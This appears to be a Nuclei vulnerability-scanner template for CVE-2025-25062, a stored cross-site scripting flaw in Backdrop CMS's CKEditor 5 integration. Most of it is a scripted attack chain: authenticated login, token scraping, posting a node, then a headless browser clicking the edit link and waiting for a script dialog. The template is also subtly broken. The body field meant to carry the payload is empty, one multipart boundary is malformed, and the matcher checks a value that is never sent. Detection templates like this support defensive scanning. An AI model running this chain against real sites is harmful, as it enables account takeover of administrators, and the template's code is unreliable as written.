id: CVE-2025-25062 info: name: Backdrop CMS - Cross-Site Scripting author: soonghee2 severity: medium description: | An XSS issue was discovered in Backdrop CMS 1.28.x before 1.28.5 and 1.29.x before 1.29.3. It doesn't sufficiently isolate long text content when the CKEditor 5 rich text editor is used. This allows a potential attacker to craft specialized HTML and JavaScript that may be executed when an administrator attempts to edit a piece of content. This vulnerability is mitigated by the fact that an attacker must have the ability to create long text content (such as through the node or comment forms) and an administrator must edit (not view) the content that contains the malicious content. This problem only exists when using the CKEditor 5 module. impact: | Authenticated attackers with content creation permissions can craft malicious HTML and JavaScript in long text fields that executes when administrators edit the content through CKEditor 5, potentially stealing admin session cookies, credentials, or escalating privileges. remediation: | Update Backdrop CMS to version 1.28.5 or 1.29.3 or later that properly isolates long text content in CKEditor 5. reference: - https://github.com/XiaomingX/data-cve-poc/tree/main/2025/CVE-2025-25062 - https://nvd.nist.gov/vuln/detail/CVE-2025-25062 - https://www.tenable.com/cve/CVE-2025-25062/cpes - https://feedly.com/cve/CVE-2025-25062 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.4 cve-id: CVE-2025-25062 cwe-id: CWE-79 epss-score: 0.36859 epss-percentile: 0.97234 cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:* metadata: max-request: 7 shodan-query: "Backdrop CMS" tags: cve,cve2025,xss,stored,backdrop,headless,vuln variables: username: "{{username}}" password: "{{password}}" random_int: '{{rand_int(1,1000)}}' http: - raw: - | GET /?q=user/login HTTP/1.1 Host: {{Hostname}} - | POST /?q=user/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip name={{username}}&pass={{password}}&form_build_id={{editor_login_form_build_id}}&form_id=user_login&op=Log+in - | GET /?q=accounts/{{username}} HTTP/1.1 Host: {{Hostname}} - | GET /?q=user/{{editor_user_id}}/edit HTTP/1.1 Host: {{Hostname}} - | GET /?q=node/add/post HTTP/1.1 Host: {{Hostname}} - | POST /?q=node/add/post HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=1f0d9f4b7e62edd3393c1761177bd48a --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="title" {{randstr}} --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="field_tags[und]" --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="body[und][0][summary]" --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="body[und][0][value]" --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="body[und][0][format]" filtered_html --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="files[field_image_und_0]"; filename="" Content-Type: application/octet-stream -1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="field_image[und][0][fid]" 0 --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="field_image[und][0][display]" 1 --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="changed" --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="form_build_id" {{editor_login_form_build_id}} --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="form_token" {{post_form_token}} --1f0d9f4b7e62edd3393c1761177bd48a Content-Disposition: form-data; name="form_id" post_node_form --1f0d9f4b7e62edd3393c1761177bd48a extractors: - type: regex name: editor_login_form_build_id group: 1 regex: - 'name="form_build_id" value="([^"]+)"' internal: true - type: regex name: editor_user_id group: 1 regex: - 'q=user/(\d+)/edit">Edit' internal: true - type: regex name: editor_email group: 1 regex: - 'name="mail" value="([^"]+)"' internal: true - type: regex name: post_form_build_id group: 1 regex: - 'name="form_build_id" value="([^"]+)"' internal: true - type: regex name: post_form_token group: 1 regex: - 'name="form_token" value="([^"]+)"' internal: true - type: regex name: exploit_node_id group: 1 regex: - 'Edit' internal: true headless: - steps: - args: url: "{{BaseURL}}/?q=posts/{{randstr}}" action: navigate - action: waitload - action: waitdom - action: args: code: | () => { document.querySelector('a[href*="q=node/"][href*="/edit"]').click(); } - action: waitdialog name: reflected_text_xss args: max-duration: 10s matchers: - type: dsl dsl: - reflected_text_xss == true - reflected_text_xss_message == random_int condition: and extractors: - type: dsl dsl: - reflected_text_xss_type - reflected_text_xss_message # digest: 4a0a00473045022100b1867d1be4230e14940e8b5423eb3fadc901a6989b6a099b831a342e2f210c3f02204f72151492bf11f5a8a98eca5c0046358a5272d9107ad9d550c5085d9ca2477f:922c64590222798bb761d5b6d8e72950